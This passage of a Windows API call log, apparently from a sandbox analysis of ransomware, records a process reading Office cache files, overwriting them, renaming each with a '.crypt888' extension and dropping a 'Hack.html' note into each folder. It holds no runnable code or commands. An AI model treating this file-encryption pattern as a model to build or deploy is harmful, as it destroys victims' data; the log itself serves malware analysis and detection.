(hObject=0x408) returned 1 [0066.521] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x408 [0066.522] GetFileType (hFile=0x408) returned 0x1 [0066.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.522] GetFileType (hFile=0x408) returned 0x1 [0066.522] WriteFile (in: hFile=0x408, lpBuffer=0x282fd40*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x282fd40*, lpNumberOfBytesWritten=0x39ed1c*=0x900, lpOverlapped=0x0) returned 1 [0066.523] CloseHandle (hObject=0x408) returned 1 [0066.529] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.529] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0066.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.529] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb8d9d1c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1 [0066.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.529] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0066.530] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0066.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0066.530] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x408 [0066.530] GetFileType (hFile=0x408) returned 0x1 [0066.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0066.530] GetFileType (hFile=0x408) returned 0x1 [0066.531] WriteFile (in: hFile=0x408, lpBuffer=0x2832768*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2832768*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0066.532] CloseHandle (hObject=0x408) returned 1 [0066.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.532] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.532] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.532] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a068 [0066.540] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.540] FindClose (in: hFindFile=0x59a068 | out: hFindFile=0x59a068) returned 1 [0066.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.541] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.541] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.542] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a068 [0066.543] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.543] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.543] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.543] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.543] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.543] FindNextFileW (in: hFindFile=0x59a068, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.544] FindClose (in: hFindFile=0x59a068 | out: hFindFile=0x59a068) returned 1 [0066.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.545] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpFilePart=0x0) returned 0x50 [0066.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.545] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x408 [0066.546] GetFileType (hFile=0x408) returned 0x1 [0066.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.546] GetFileType (hFile=0x408) returned 0x1 [0066.546] GetFileSize (in: hFile=0x408, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x5aa [0066.546] ReadFile (in: hFile=0x408, lpBuffer=0x2836390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2836390*, lpNumberOfBytesRead=0x39ed58*=0x5aa, lpOverlapped=0x0) returned 1 [0066.555] CloseHandle (hObject=0x408) returned 1 [0066.640] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpFilePart=0x0) returned 0x50 [0066.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.641] GetFileType (hFile=0x258) returned 0x1 [0066.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.641] GetFileType (hFile=0x258) returned 0x1 [0066.641] WriteFile (in: hFile=0x258, lpBuffer=0x26d5480*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x26d5480*, lpNumberOfBytesWritten=0x39ed1c*=0x5b0, lpOverlapped=0x0) returned 1 [0066.642] CloseHandle (hObject=0x258) returned 1 [0066.645] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpFilePart=0x0) returned 0x50 [0066.645] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.crypt888", lpFilePart=0x0) returned 0x59 [0066.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.645] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb8ecdcc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0066.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.646] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.crypt888")) returned 1 [0066.646] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.647] GetFileType (hFile=0x258) returned 0x1 [0066.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.647] GetFileType (hFile=0x258) returned 0x1 [0066.647] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x75e [0066.647] ReadFile (in: hFile=0x258, lpBuffer=0x26d6f74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x26d6f74*, lpNumberOfBytesRead=0x39ed58*=0x75e, lpOverlapped=0x0) returned 1 [0066.652] CloseHandle (hObject=0x258) returned 1 [0066.671] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.672] GetFileType (hFile=0x258) returned 0x1 [0066.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.673] GetFileType (hFile=0x258) returned 0x1 [0066.673] WriteFile (in: hFile=0x258, lpBuffer=0x27274a0*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27274a0*, lpNumberOfBytesWritten=0x39ed1c*=0x760, lpOverlapped=0x0) returned 1 [0066.674] CloseHandle (hObject=0x258) returned 1 [0066.676] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.676] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0066.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.677] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb8f19f80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0066.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.677] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0066.677] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0066.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0066.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0066.678] GetFileType (hFile=0x258) returned 0x1 [0066.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0066.678] GetFileType (hFile=0x258) returned 0x1 [0066.678] WriteFile (in: hFile=0x258, lpBuffer=0x2729ec8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2729ec8*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0066.679] CloseHandle (hObject=0x258) returned 1 [0066.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.679] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.679] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.679] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a028 [0066.692] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.693] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.693] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.693] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.693] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.693] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.693] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0066.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.694] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.694] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.694] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a028 [0066.695] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.696] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.696] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.696] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.696] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.696] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.696] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0066.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.697] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpFilePart=0x0) returned 0x4f [0066.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.697] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.700] GetFileType (hFile=0x258) returned 0x1 [0066.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.701] GetFileType (hFile=0x258) returned 0x1 [0066.701] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x5aa [0066.701] ReadFile (in: hFile=0x258, lpBuffer=0x272dacc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x272dacc*, lpNumberOfBytesRead=0x39ed58*=0x5aa, lpOverlapped=0x0) returned 1 [0066.709] CloseHandle (hObject=0x258) returned 1 [0066.724] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpFilePart=0x0) returned 0x4f [0066.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.725] GetFileType (hFile=0x258) returned 0x1 [0066.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.725] GetFileType (hFile=0x258) returned 0x1 [0066.725] WriteFile (in: hFile=0x258, lpBuffer=0x277d64c*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x277d64c*, lpNumberOfBytesWritten=0x39ed1c*=0x5b0, lpOverlapped=0x0) returned 1 [0066.726] CloseHandle (hObject=0x258) returned 1 [0066.728] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpFilePart=0x0) returned 0x4f [0066.728] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.crypt888", lpFilePart=0x0) returned 0x58 [0066.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.729] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: 